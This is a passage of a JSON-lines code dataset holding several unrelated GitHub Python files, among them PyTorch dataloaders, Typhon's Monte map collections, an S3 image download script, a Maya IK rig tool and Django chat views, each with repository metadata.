print(f\"virtual time elapsed: {bc.get_state().elapsed:0.3f} seconds\")\n\n\nasync def example_solution_concurrent():\n bc = get_control_sim(0)\n await bc.set_scenario(Ch12Scenario(seed=6589))\n\n color_to_x: dict[str, int] = {}\n color_to_event: dict[str, asyncio.Event] = {}\n\n # create an event for each color\n for color in [ball.color for ball in bc.get_state().balls if ball.pos.x == 0]:\n if color_to_event.get(color) == None:\n color_to_event[color] = asyncio.Event()\n\n # sort and decode concurrently\n await asyncio.gather(\n reveal_color_values(\n bc=bc, color_to_x=color_to_x, color_to_event=color_to_event, goal_nof_colors=3\n ),\n sort_into_buckets(bc=bc, color_to_x=color_to_x, color_to_event=color_to_event),\n )\n\n assert bc.get_state().goal_accomplished\n print(f\"virtual time elapsed: {bc.get_state().elapsed:0.3f} seconds\")\n\n\ndef test_ch12():\n asyncio.run(example_solution())\n asyncio.run(example_solution_concurrent())\n\n\nif __name__ == \"__main__\":\n import time\n\n s = time.perf_counter()\n test_ch12()\n elapsed = time.perf_counter() - s\n print(f\"\\n{__file__} executed in {elapsed:0.2f} seconds.\")\n","repo_name":"aheed/ballsort-framework","sub_path":"lib/tests/ch12_test.py","file_name":"ch12_test.py","file_ext":"py","file_size_in_byte":4121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30877739426","text":"#%%\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data import Dataset\nimport numpy as np\nimport os \nclass ToyDataset(Dataset):\n def __init__(self,data_path):\n if os.path.isdir(data_path):\n Scenario_ls = os.listdir(data_path)\n self.label = torch.tensor([])\n self.input = torch.tensor([])\n\n for scenario in Scenario_ls:\n file_path = data_path + '/' + scenario\n rawdata = np.loadtxt(file_path)\n dof = 1\n self.label = torch.cat((self.label,torch.Tensor(rawdata[:,dof:])),0)\n self.input = torch.cat((self.input,torch.Tensor(rawdata[:,:dof])),0)\n if os.path.isfile(data_path):\n file_path = data_path\n # npz load\n rawdata = np.load(data_path)['arr_0']\n # 2d -> 3d\n rawdata = np.insert(rawdata, (3,5,7,9,11,13,15,17,19,21,23,25), 0, axis=1)\n dof = 1\n self.label = torch.Tensor(rawdata[:,dof:])\n self.input = torch.Tensor(rawdata[:,:dof])\n\n self.label /= 1000\n\n def __len__(self):\n return len(self.input)\n \n def __getitem__(self,idx):\n return self.input[idx], self.label[idx]\n\nclass ToyDataloader(DataLoader):\n def __init__(self,data_path, n_workers,batch, shuffle = True):\n self.dataset = ToyDataset(data_path)\n super().__init__(self.dataset, batch_size=batch, shuffle=shuffle, num_workers=n_workers)\n\nclass FoldToyDataset(Dataset):\n def __init__(self,data_path,Foldstart,Foldend):\n self.label = torch.tensor([])\n self.input = torch.tensor([])\n\n # npz load\n rawdata = np.load(data_path)['arr_0']\n # 2d -> 3d\n rawdata = np.insert(rawdata, (3,5,7,9,11,13,15,17,19,21,23,25), 0, axis=1)\n dof = 1\n self.label = torch.cat((self.label,torch.Tensor(rawdata[:,dof:])),0)\n self.input = torch.cat((self.input,torch.Tensor(rawdata[:,:dof])),0)\n\n self.label /= 1000\n\n # self.scaler_label = MinMaxScaler()\n # self.scaler_label.fit(self.label)\n # self.label = self.scaler_label.transform(self.label)\n # self.scaler_input = MinMaxScaler()\n # self.scaler_input.fit(self.input)\n # self.input = self.scaler_input.transform(self.input)\n\n\n def __len__(self):\n return len(self.input)\n \n def __getitem__(self,idx):\n return self.input[idx], self.label[idx]\n\nclass FoldToyDataloader(DataLoader):\n def __init__(self,data_path, Foldstart, Foldend, n_workers,batch, shuffle = True):\n self.dataset = FoldToyDataset(data_path,Foldstart,Foldend)\n super().__init__(self.dataset, batch_size=batch, shuffle=shuffle, num_workers=n_workers)\n\n#%%","repo_name":"yoon0-0/SMINet","sub_path":"dataloaderImage2D.py","file_name":"dataloaderImage2D.py","file_ext":"py","file_size_in_byte":2756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40784969011","text":"from aot.api.game_factory import build_cards_list\nfrom aot.game.config import TEST_CONFIG\nfrom aot.game.trumps.special_actions import SpecialAction\n\n\ndef test_get_cards_list():\n cards = build_cards_list(TEST_CONFIG, None)\n for card in cards:\n if card.name == \"Bishop\":\n assert len(card.colors) == 2\n elif card.name == \"Assassin\":\n assert len(card._special_actions) == 1\n action = card._special_actions[0]\n assert isinstance(action, SpecialAction)\n","repo_name":"arenaoftitans/arena-of-titans-api","sub_path":"tests/api/test_game_factory.py","file_name":"test_game_factory.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27344448573","text":"from functools import cache\nfrom time import time\nfrom typing import List\n\n\nclass Solution:\n def successfulPairs(self, spells: List[int], potions: List[int], success: int) -> List[int]:\n potions.sort()\n result = []\n m = len(potions)\n for spell in spells:\n beg, end = 0, m - 1\n while beg <= end:\n mid = (beg + end) // 2\n if spell * potions[mid] < success:\n beg = mid + 1\n else:\n end = mid - 1\n result.append(0 if beg == m else m - beg)\n return result\n\n\nstart_time = time()\n\n\n# Example 1:\n# Input: spells = [5,1,3], potions = [1,2,3,4,5], success = 7\n_spells = [5,1,3]\n_potions = [1,2,3,4,5]\n_success = 7\n# Output: [4,0,3]\n# Explanation:\n# - 0th spell: 5 * [1,2,3,4,5] = [5,10,15,20,25]. 4 pairs are successful.\n# - 1st spell: 1 * [1,2,3,4,5] = [1,2,3,4,5]. 0 pairs are successful.\n# - 2nd spell: 3 * [1,2,3,4,5] = [3,6,9,12,15]. 3 pairs are successful.\n# Thus, [4,0,3] is returned.\n#\n# Example 2:\n# Input: spells = [3,1,2], potions = [8,5,8], success = 16\n# Output: [2,0,2]\n# Explanation:\n# - 0th spell: 3 * [8,5,8] = [24,15,24]. 2 pairs are successful.\n# - 1st spell: 1 * [8,5,8] = [8,5,8]. 0 pairs are successful.\n# - 2nd spell: 2 * [8,5,8] = [16,10,16]. 2 pairs are successful.\n# Thus, [2,0,2] is returned.\n\n\nprint(Solution().successfulPairs(_spells, _potions, _success))\n\nprint(\"--- %s seconds ---\" % (time() - start_time))\n","repo_name":"Sadomtsevvs/Leetcode","sub_path":"2300. Successful Pairs of Spells and Potions.py","file_name":"2300. Successful Pairs of Spells and Potions.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"904110331","text":"from typhon.autohelp import autohelp, method\nfrom typhon.errors import WrongType, userError\nfrom typhon.objects.collections.helpers import (KeySorter, ValueSorter,\n monteMap)\nfrom typhon.objects.data import StrObject\nfrom typhon.objects.ejectors import throwStr\nfrom typhon.objects.printers import toString\nfrom typhon.objects.root import Object, audited\nfrom typhon.profile import profileTyphon\n\n\n@autohelp\nclass mapIterator(Object):\n \"\"\"\n An iterator on a map, producing its keys and values.\n \"\"\"\n\n _immutable_fields_ = \"objects\",\n\n _index = 0\n\n def __init__(self, objects):\n self.objects = objects\n\n def toString(self):\n return u\"\"\n\n @method(\"List\", \"Any\")\n def next(self, ej):\n if self._index < len(self.objects):\n k, v = self.objects[self._index]\n rv = [k, v]\n self._index += 1\n return rv\n else:\n throwStr(ej, u\"mapIterator.next/1: end of map\")\n\n\n@autohelp\n@audited.Transparent\nclass ConstMap(Object):\n \"\"\"\n An ordered map of objects.\n \"\"\"\n\n _immutable_fields_ = \"objectMap\",\n\n def __init__(self, objectMap):\n self.objectMap = objectMap\n\n @method(\"Void\", \"Any\")\n def _printOn(self, printer):\n printer.call(u\"print\", [StrObject(u\"[\")])\n i = 0\n for k, v in self.objectMap.iteritems():\n printer.call(u\"quote\", [k])\n printer.call(u\"print\", [StrObject(u\" => \")])\n printer.call(u\"quote\", [v])\n if i + 1 < len(self.objectMap):\n printer.call(u\"print\", [StrObject(u\", \")])\n i += 1\n printer.call(u\"print\", [StrObject(u\"]\")])\n if len(self.objectMap) == 0:\n printer.call(u\"print\", [StrObject(u\".asMap()\")])\n\n def computeHash(self, depth):\n from typhon.objects.equality import samenessHash\n return samenessHash(self, depth, None)\n\n @staticmethod\n @profileTyphon(\"_makeMap.fromPairs/1\")\n def fromPairs(wrappedPairs):\n from typhon.objects.collections.lists import unwrapList\n d = monteMap()\n for obj in unwrapList(wrappedPairs):\n pair = unwrapList(obj)\n if len(pair) != 2:\n raise userError(\n u\"_makeMap.fromPairs/1: tuple is not pair, but length %d\" % len(pair))\n d[pair[0]] = pair[1]\n return ConstMap(d)\n\n def toString(self):\n return toString(self)\n\n def isSettled(self, sofar=None):\n if sofar is None:\n sofar = {self: None}\n for k, v in self.objectMap.iteritems():\n if k not in sofar and not k.isSettled(sofar=sofar):\n return False\n if v not in sofar and not v.isSettled(sofar=sofar):\n return False\n return True\n\n @method.py(\"Bool\")\n def empty(self):\n return not self.objectMap\n\n @method(\"Set\")\n def asSet(self):\n # COW optimization.\n return self.objectMap\n\n @method(\"Any\")\n def diverge(self):\n \"A mutable copy of this map.\"\n # Don't need to copy here; FlexMap's constructor makes the copy.\n return FlexMap(self.objectMap)\n\n @method(\"Any\", \"Any\", \"Any\", _verb=\"diverge\")\n def divergeGuard(self, keyGuard, valueGuard):\n \"\"\"\n A mutable copy of this map, with keys guarded by `keyGuard` and\n values by `valueGuard`.\n \"\"\"\n return FlexMap(self.objectMap, keyGuard=keyGuard,\n valueGuard=valueGuard)\n\n @method(\"Any\", \"Any\", \"Any\")\n def fetch(self, key, thunk):\n rv = self.objectMap.get(key, None)\n if rv is None:\n rv = thunk.call(u\"run\", [])\n return rv\n\n @method(\"List\")\n def getKeys(self):\n return self.objectMap.keys()\n\n @method(\"List\")\n def getValues(self):\n return self.objectMap.values()\n\n @method(\"Any\", \"Any\")\n def get(self, key):\n try:\n return self.objectMap[key]\n except KeyError:\n raise userError(u\"Key not found: %s\" % (key.toString(),))\n\n @method(\"Map\")\n def reverse(self):\n d = monteMap()\n l = [(k, v) for k, v in self.objectMap.iteritems()]\n # Reverse it!\n l.reverse()\n for k, v in l:\n d[k] = v\n return d\n\n @method(\"Map\")\n def sortKeys(self):\n # Extract a list, sort it, pack it back into a dict.\n d = monteMap()\n l = [(k, v) for k, v in self.objectMap.iteritems()]\n KeySorter(l).sort()\n for k, v in l:\n d[k] = v\n return d\n\n @method(\"Map\")\n def sortValues(self):\n # Same as sortKeys/0.\n d = monteMap()\n l = [(k, v) for k, v in self.objectMap.iteritems()]\n ValueSorter(l).sort()\n for k, v in l:\n d[k] = v\n return d\n\n @method.py(\"Map\", \"Any\", \"Any\", _verb=\"with\")\n def _with(self, key, value):\n # Replace by key.\n d = self.objectMap.copy()\n d[key] = value\n return d\n\n @method(\"Map\", \"Any\")\n def without(self, key):\n # Ignore the case where the key wasn't in the map.\n if key in self.objectMap:\n d = self.objectMap.copy()\n del d[key]\n return d\n return self.objectMap\n\n @method(\"Any\")\n def _makeIterator(self):\n return mapIterator(self.objectMap.items())\n\n @method(\"List\")\n def _uncall(self):\n from typhon.objects.collections.lists import wrapList\n from typhon.scopes.safe import theMakeMap\n pairs = wrapList([wrapList([k, v])\n for k, v in self.objectMap.items()])\n rv = wrapList([pairs])\n return [theMakeMap, StrObject(u\"fromPairs\"), rv, EMPTY_MAP]\n\n @method.py(\"Bool\", \"Any\")\n def contains(self, needle):\n return needle in self.objectMap\n\n @method.py(\"Map\", \"Map\", _verb=\"or\")\n # @profileTyphon(\"Map.or/1\")\n def _or(self, other):\n # Maybe we're empty.\n if not self.objectMap:\n return other\n # XXX This is currently linear time. Can it be better? If not, prove\n # it, please.\n rv = self.objectMap.copy()\n for ok, ov in other.items():\n if ok not in rv:\n rv[ok] = ov\n return rv\n\n @method(\"Map\", \"Int\")\n def slice(self, start):\n if start < 0:\n raise userError(u\"slice/1: Negative start\")\n items = self.objectMap.items()[start:]\n rv = monteMap()\n for k, v in items:\n rv[k] = v\n return rv\n\n @method(\"Map\", \"Int\", \"Int\", _verb=\"slice\")\n def _slice(self, start, stop):\n if start < 0:\n raise userError(u\"slice/1: Negative start\")\n if stop < 0:\n raise userError(u\"slice/1: Negative stop\")\n items = self.objectMap.items()[start:stop]\n rv = monteMap()\n for k, v in items:\n rv[k] = v\n return rv\n\n @method.py(\"Int\")\n def size(self):\n return len(self.objectMap)\n\n @method.py(\"Bool\")\n def isEmpty(self):\n return not self.objectMap\n\n @method(\"Map\")\n def snapshot(self):\n # This is a copy-on-write optimization; we are trusting the rest of\n # the functions on this map to not alter the map.\n return self.objectMap\n\n def extractStringKey(self, k, default):\n \"\"\"\n Extract a string key from this map. On failure, return `default`.\n \"\"\"\n\n return self.objectMap.get(StrObject(k), default)\n\n def withStringKey(self, k, v):\n \"\"\"\n Add a key-value pair to this map.\n\n Like Monte m`self.with(k :Str, v)`.\n \"\"\"\n\n return ConstMap(self._with(StrObject(k), v))\n\n def iteritems(self):\n \"\"\"\n Iterate over (key, value) tuples.\n\n The normal caveats apply.\n \"\"\"\n\n return self.objectMap.iteritems()\n\nEMPTY_MAP = ConstMap(monteMap())\n\n\n@autohelp\nclass FlexMap(Object):\n \"\"\"\n An ordered map of objects.\n \"\"\"\n\n def __init__(self, objectMap, keyGuard=None, valueGuard=None):\n self._kg = keyGuard\n self._vg = valueGuard\n self.objectMap = monteMap()\n for k, v in objectMap.iteritems():\n self.objectMap[self.coerceKey(k)] = self.coerceValue(v)\n\n def coerceKey(self, element):\n if self._kg is None:\n return element\n else:\n from typhon.objects.constants import NullObject\n return self._kg.call(u\"coerce\", [element, NullObject])\n\n def coerceValue(self, element):\n if self._vg is None:\n return element\n else:\n from typhon.objects.constants import NullObject\n return self._vg.call(u\"coerce\", [element, NullObject])\n\n @method(\"Void\", \"Any\")\n def _printOn(self, printer):\n printer.call(u\"print\", [StrObject(u\"[\")])\n i = 0\n for k, v in self.objectMap.iteritems():\n printer.call(u\"quote\", [k])\n printer.call(u\"print\", [StrObject(u\" => \")])\n printer.call(u\"quote\", [v])\n if i + 1 < len(self.objectMap):\n printer.call(u\"print\", [StrObject(u\", \")])\n i += 1\n printer.call(u\"print\", [StrObject(u\"]\")])\n if len(self.objectMap) == 0:\n printer.call(u\"print\", [StrObject(u\".asMap()\")])\n printer.call(u\"print\", [StrObject(u\".diverge(\")])\n if self._kg is not None and self._vg is not None:\n printer.call(u\"print\", [self._kg])\n printer.call(u\"print\", [StrObject(u\", \")])\n printer.call(u\"print\", [self._vg])\n printer.call(u\"print\", [StrObject(u\")\")])\n\n def toString(self):\n return toString(self)\n\n @method(\"Bool\")\n def empty(self):\n return not self.objectMap\n\n @method(\"Void\")\n def clear(self):\n \"Remove all elements from this map.\"\n self.objectMap.clear()\n\n @method(\"Void\", \"Any\", \"Any\")\n def put(self, key, value):\n self.objectMap[self.coerceKey(key)] = self.coerceValue(value)\n\n @method(\"Void\", \"Any\")\n def removeKey(self, key):\n try:\n del self.objectMap[key]\n except KeyError:\n raise userError(u\"removeKey/1: Key not in map: \" + key.toString())\n\n @method(\"List\")\n def pop(self):\n if self.objectMap:\n key, value = self.objectMap.popitem()\n return [key, value]\n else:\n raise userError(u\"pop/0: Pop from empty map\")\n\n @method(\"Set\")\n def asSet(self):\n return self.objectMap.copy()\n\n @method(\"Any\")\n def diverge(self):\n \"A mutable copy of this map.\"\n return FlexMap(self.objectMap)\n\n @method(\"Any\", \"Any\", \"Any\", _verb=\"diverge\")\n def divergeGuard(self, keyGuard, valueGuard):\n \"\"\"\n A mutable copy of this map, with keys guarded by `keyGuard` and\n values by `valueGuard`.\n \"\"\"\n return FlexMap(self.objectMap, keyGuard=keyGuard,\n valueGuard=valueGuard)\n\n @method(\"Any\", \"Any\", \"Any\")\n def fetch(self, key, thunk):\n rv = self.objectMap.get(key, None)\n if rv is None:\n rv = thunk.call(u\"run\", [])\n return rv\n\n @method(\"List\")\n def getKeys(self):\n return self.objectMap.keys()\n\n @method(\"List\")\n def getValues(self):\n return self.objectMap.values()\n\n @method(\"Any\", \"Any\")\n def get(self, key):\n try:\n return self.objectMap[key]\n except KeyError:\n raise userError(u\"get/1: Key not found: %s\" % (key.toString(),))\n\n @method(\"Map\")\n def reverse(self):\n d = monteMap()\n l = [(k, v) for k, v in self.objectMap.iteritems()]\n # Reverse it!\n l.reverse()\n for k, v in l:\n d[k] = v\n return d\n\n @method(\"Map\")\n def sortKeys(self):\n # Extract a list, sort it, pack it back into a dict.\n d = monteMap()\n l = [(k, v) for k, v in self.objectMap.iteritems()]\n KeySorter(l).sort()\n for k, v in l:\n d[k] = v\n return d\n\n @method(\"Map\")\n def sortValues(self):\n # Same as sortKeys/0.\n d = monteMap()\n l = [(k, v) for k, v in self.objectMap.iteritems()]\n ValueSorter(l).sort()\n for k, v in l:\n d[k] = v\n return d\n\n @method(\"Map\", \"Any\", \"Any\", _verb=\"with\")\n def _with(self, key, value):\n # Replace by key.\n d = self.objectMap.copy()\n d[self.coerceKey(key)] = self.coerceValue(value)\n return d\n\n @method(\"Map\", \"Any\")\n def without(self, key):\n # Even if we don't have the key, we need to copy since we're returning\n # a ConstMap.\n d = self.objectMap.copy()\n # Ignore the case where the key wasn't in the map.\n if key in d:\n del d[key]\n return d\n\n @method(\"Any\")\n def _makeIterator(self):\n return mapIterator(self.objectMap.items())\n\n @method(\"List\")\n def _uncall(self):\n from typhon.objects.collections.lists import wrapList\n args = wrapList([] if (self._kg is None and self._vg is None) else [\n self._kg, self._vg\n ])\n return [ConstMap(self.objectMap.copy()), StrObject(u\"diverge\"), args,\n EMPTY_MAP]\n\n @method(\"Bool\", \"Any\")\n def contains(self, needle):\n return needle in self.objectMap\n\n @method(\"Map\", \"Map\", _verb=\"or\")\n def _or(self, other):\n # Maybe we're empty.\n if not self.objectMap:\n return other\n # XXX This is currently linear time. Can it be better? If not, prove\n # it, please.\n rv = self.objectMap.copy()\n for ok, ov in other.items():\n if ok not in rv:\n rv[ok] = ov\n return rv\n\n @method(\"Map\", \"Int\")\n def slice(self, start):\n if start < 0:\n raise userError(u\"slice/1: Negative start\")\n items = self.objectMap.items()[start:]\n rv = monteMap()\n for k, v in items:\n rv[k] = v\n return rv\n\n @method(\"Map\", \"Int\", \"Int\", _verb=\"slice\")\n def _slice(self, start, stop):\n if start < 0:\n raise userError(u\"slice/1: Negative start\")\n if stop < 0:\n raise userError(u\"slice/1: Negative stop\")\n items = self.objectMap.items()[start:stop]\n rv = monteMap()\n for k, v in items:\n rv[k] = v\n return rv\n\n @method(\"Int\")\n def size(self):\n return len(self.objectMap)\n\n @method(\"Bool\")\n def isEmpty(self):\n return not self.objectMap\n\n @method(\"Map\")\n def snapshot(self):\n return self.objectMap.copy()\n\n\ndef unwrapMap(o):\n from typhon.objects.refs import resolution\n m = resolution(o)\n if isinstance(m, ConstMap):\n return m.objectMap\n if isinstance(m, FlexMap):\n return m.objectMap\n raise WrongType(u\"Specimen is not Map: \" + m.toString())\n\ndef wrapMap(d):\n return ConstMap(d)\n\ndef isMap(obj):\n from typhon.objects.refs import resolution\n o = resolution(obj)\n return isinstance(o, ConstMap) or isinstance(o, FlexMap)\n","repo_name":"monte-language/typhon","sub_path":"typhon/objects/collections/maps.py","file_name":"maps.py","file_ext":"py","file_size_in_byte":15093,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"54"} +{"seq_id":"4046213251","text":"produto = float(input(\"Qual o valor do produto? \"))\n\nlucro1 = produto * (45 / 100)\nlucro2 = produto * (30 / 100)\nlucroProduto1 = produto + lucro1\nlucroProduto2 = produto + lucro2\n\nif produto <= 20.0:\n print(\"O valor de venda é: R$\", lucroProduto1)\nelse:\n print(\"O valor de venda é: R$\", lucroProduto2)\n\n\n","repo_name":"MatheusSanches02/Logica-Python","sub_path":"EstruturasCondicionais/ex9.py","file_name":"ex9.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28791482967","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Faz o download das imagens contidas em um bucket do s3.\n# Antes de executar o script, é necessário configurar as credenciais\n# executando o comando `aws configure` no terminal.\n\nfrom shutil import copyfile\nfrom tqdm import tqdm\nfrom PIL import Image\nfrom PIL.ExifTags import TAGS\nimport boto3\nimport glob\nimport os\n\nBUCKET = 'bases-cofness'\nFOLDER = 'dados'\n\nEBV12 = 1.2\nEBV13 = 1.3\nEBV14 = 1.4\nEBV15 = 1.5\nEBV16 = 1.6\n\nEBV = ['EBV12', 'EBV13', 'EBV14', 'EBV15', 'EBV16']\n\ndef download_folder_from_s3(bucket_name, folder_name, dir_save):\n s3 = boto3.resource('s3')\n bucket = s3.Bucket(bucket_name)\n cont=0\n for it in bucket.objects.filter(Prefix=folder_name):\n cont+=1\n\n for it,i in zip(bucket.objects.filter(Prefix=folder_name), tqdm(range(cont))):\n # Nome do path\n classes_path = os.path.dirname(it.key)\n classes_path = dir_save+'/'+classes_path+\"/\"\n\n # Se o path da classe não existe, então cria o diretório\n # no dir_save. Se não, apenas baixa as imagens contidas \n # neste diretório do s3 para o diretório local.\n if not os.path.exists(classes_path):\n os.makedirs(classes_path)\n bucket.download_file(it.key,classes_path+os.path.split(it.key)[-1])\n\ndef base_separate(path_base, path_to_save):\n # Cria diretórios onde serão copiadas as imagens filtradas.\n classes = os.listdir(path_base)\n for i in EBV:\n if not os.path.exists(path_to_save+i):\n os.makedirs(path_to_save+i)\n for it in classes:\n if not os.path.exists(path_to_save+i+'/'+it):\n os.makedirs(path_to_save+i+'/'+it)\n\n for it in classes:\n print(it)\n imgs_path = glob.glob(path_base+it+'/*.jpg')\n if imgs_path==[]:\n print(\"Arquivos com extensão jpg não encontrados.\")\n exit(1)\n img_count = [1, 1, 1, 1, 1]\n\n for itt in zip(imgs_path, tqdm(range(len(imgs_path)))):\n img = Image.open(itt[0])\n ret = {}\n info = img._getexif()\n for tag, value in info.items():\n decoded = TAGS.get(tag, tag)\n ret[decoded] = value\n \n ev = round(ret['ExposureBiasValue'][0]*1.0/ret['ExposureBiasValue'][1], 2)\n if (ev==EBV12):\n copyfile(itt[0], path_to_save+EBV[0]+'/'+it+'/'+it+'_'+str(img_count[0])+'.jpg')\n img_count[0]+=1\n elif (ev==EBV13):\n copyfile(itt[0], path_to_save+EBV[1]+'/'+it+'/'+it+'_'+str(img_count[1])+'.jpg')\n img_count[1]+=1\n elif (ev==EBV14):\n copyfile(itt[0], path_to_save+EBV[2]+'/'+it+'/'+it+'_'+str(img_count[2])+'.jpg')\n img_count[2]+=1\n elif (ev==EBV15):\n copyfile(itt[0], path_to_save+EBV[3]+'/'+it+'/'+it+'_'+str(img_count[3])+'.jpg')\n img_count[3]+=1\n elif (ev==EBV16):\n copyfile(itt[0], path_to_save+EBV[4]+'/'+it+'/'+it+'_'+str(img_count[4])+'.jpg')\n img_count[4]+=1\n else:\n print(\"Erro: Valor de exposição não encontrado!! \",ev)\n exit(1)\n\nif __name__ == \"__main__\":\n download_folder_from_s3(BUCKET,FOLDER,'/home/kaffee/Imagens/Cofness/DownloadS3')\n base_separate('/home/kaffee/Imagens/Cofness/DownloadS3/dados/',\n '/home/kaffee/Imagens/Cofness/DownloadS3/dados_separados/')\n","repo_name":"giulianoLacerda/scripts-python","sub_path":"aws_download_images/aws_download.py","file_name":"aws_download.py","file_ext":"py","file_size_in_byte":3478,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31277107462","text":"'''\n setup IK Rig\n # You should subordinate locators to joints!\n'''\n\nimport maya.cmds as cmds\n\ndef showUI():\n myWin = cmds.window(title=\"IK Rig\", widthHeight=(200, 200))\n cmds.columnLayout()\n cmds.button(label=\"1. Make Locators\", command=makeLocators, width=200)\n cmds.button(label=\"2. Setup IK\", command=setupIK, width=200)\n \n cmds.showWindow(myWin)\n\ndef makeLocators(args):\n global hipLoc\n global kneeLoc\n global ankleLoc\n global footLoc\n\n # Create Locators \n hipLoc = cmds.spaceLocator(name=\"HipLoc\")\n kneeLoc = cmds.spaceLocator(name=\"KneeLoc\")\n ankleLoc = cmds.spaceLocator(name=\"AnkleLoc\")\n footLoc = cmds.spaceLocator(name=\"FootLoc\")\n \n # Position the Locators\n cmds.xform(hipLoc, absolute=True, translation=(0, 10, 0))\n cmds.xform(kneeLoc, absolute=True, translation=(0, 5, 0))\n cmds.xform(footLoc, absolute=True, translation=(2, 0, 0))\n\ndef setupIK(args):\n global hipLoc\n global kneeLoc\n global ankleLoc\n global footLoc\n \n cmds.select(clear=True)\n \n # Position the joints along the Locators\n pos = cmds.xform(hipLoc, query=True, translation=True, worldSpace=True)\n hipJoint = cmds.joint(position=pos)\n \n pos = cmds.xform(kneeLoc, query=True, translation=True, worldSpace=True)\n kneeJoint = cmds.joint(position=pos)\n \n pos = cmds.xform(ankleLoc, query=True, translation=True, worldSpace=True)\n ankleJoint = cmds.joint(position=pos)\n \n pos = cmds.xform(footLoc, query=True, translation=True, worldSpace=True)\n footJoint = cmds.joint(position=pos)\n \n cmds.ikHandle(startJoint=hipJoint, endEffector=ankleJoint)\n\nshowUI()\n\n","repo_name":"JaewanKim/maya-plugin","sub_path":"study/legRigSample.py","file_name":"legRigSample.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"6280492342","text":"import numpy as np\nfrom petsc4py import PETSc\n\n\nclass Synchronizer:\n def __init__(self, system, only_mswells=False):\n # CHECKME: is there a way to check PETSc has been initialized here\n assert system.kernel is not None\n self.system = system\n if not only_mswells:\n self.retrieve_fortran = system.kernel.SyncPetsc_GetSolNodeFracWellMSWell\n else:\n self.retrieve_fortran = system.kernel.SyncPetscMSWells_GetSolMSWell\n nbrows, nbcols = system.local_system_size\n gnbrows, gnbcols = system.global_system_size\n M = PETSc.Mat()\n sizes = (nbrows, gnbrows), (nbcols, gnbcols)\n csr = np.arange(nbrows + 1, dtype=np.int32), system.colnum(), np.ones(nbrows)\n M.createAIJ(sizes, csr=csr)\n M.assemblyBegin()\n M.assemblyEnd()\n x = PETSc.Vec()\n x.createMPI((nbrows, gnbrows))\n x.set(0)\n x.assemblyBegin()\n x.assemblyEnd()\n self.M_s = M\n self.x_s = x\n\n def synchronize(self, x):\n self.M_s.mult(x, self.x_s)\n\n # CHECKME: might be elsewhere...\n def retrieve_solution(self, newton_increments):\n self.retrieve_fortran(self.x_s, newton_increments)\n","repo_name":"BRGM/ComPASS","sub_path":"ComPASS/ghosts/synchronizer.py","file_name":"synchronizer.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"34613697376","text":"from django.contrib.auth import get_user_model\nfrom django.shortcuts import render\n\nfrom chat.models import Message\n\n\ndef index(request):\n users = get_user_model().objects.exclude(username=request.user.username)\n context = {'users': users}\n return render(request, 'index.html', context)\n\n\ndef chat_page(request, username):\n user_object = get_user_model().objects.get(username=username)\n users = get_user_model().objects.exclude(username=request.user.username)\n thread_name = (\n f'chat_{request.user.id}_{user_object.id}'\n if int(request.user.id) > int(user_object.id)\n else f'chat_{user_object.id}_{request.user.id}'\n )\n messages = Message.objects.filter(thread_name=thread_name).select_related('sender')\n context = {\n 'users': users,\n 'user_object': user_object,\n 'messages': messages,\n }\n return render(request, 'chat.html', context)\n","repo_name":"Sirneij/chatting","sub_path":"backend/chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"54"} +{"seq_id":"33043017268","text":"\nfrom datumaro.components.config import Config, \\\n DefaultConfig as _DefaultConfig, \\\n SchemaBuilder as _SchemaBuilder\n\n\nSOURCE_SCHEMA = _SchemaBuilder() \\\n .add('url', str) \\\n .add('format', str) \\\n .add('options', dict) \\\n .build()\n\nclass Source(Config):\n def __init__(self, config=None):\n super().__init__(config, schema=SOURCE_SCHEMA)\n\n\nMODEL_SCHEMA = _SchemaBuilder() \\\n .add('launcher', str) \\\n .add('options', dict) \\\n .build()\n\nclass Model(Config):\n def __init__(self, config=None):\n super().__init__(config, schema=MODEL_SCHEMA)\n\n\nPROJECT_SCHEMA = _SchemaBuilder() \\\n .add('project_name', str) \\\n .add('format_version', int) \\\n \\\n .add('subsets', list) \\\n .add('sources', lambda: _DefaultConfig(\n lambda v=None: Source(v))) \\\n .add('models', lambda: _DefaultConfig(\n lambda v=None: Model(v))) \\\n \\\n .add('models_dir', str, internal=True) \\\n .add('plugins_dir', str, internal=True) \\\n .add('sources_dir', str, internal=True) \\\n .add('dataset_dir', str, internal=True) \\\n .add('project_filename', str, internal=True) \\\n .add('project_dir', str, internal=True) \\\n .add('env_dir', str, internal=True) \\\n .build()\n\nPROJECT_DEFAULT_CONFIG = Config({\n 'project_name': 'undefined',\n 'format_version': 1,\n\n 'sources_dir': 'sources',\n 'dataset_dir': 'dataset',\n 'models_dir': 'models',\n 'plugins_dir': 'plugins',\n\n 'project_filename': 'config.yaml',\n 'project_dir': '',\n 'env_dir': '.datumaro',\n}, mutable=False, schema=PROJECT_SCHEMA)\n","repo_name":"TaSeeMba/cvat","sub_path":"datumaro/datumaro/components/config_model.py","file_name":"config_model.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"54"} +{"seq_id":"21677538489","text":"import pandas as pd\nimport src.getFeatures as getFeatures\nimport joblib \nimport argparse\nimport time\nimport numpy as np\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\ndef predict(Model_num,inFasta,outFile):\n 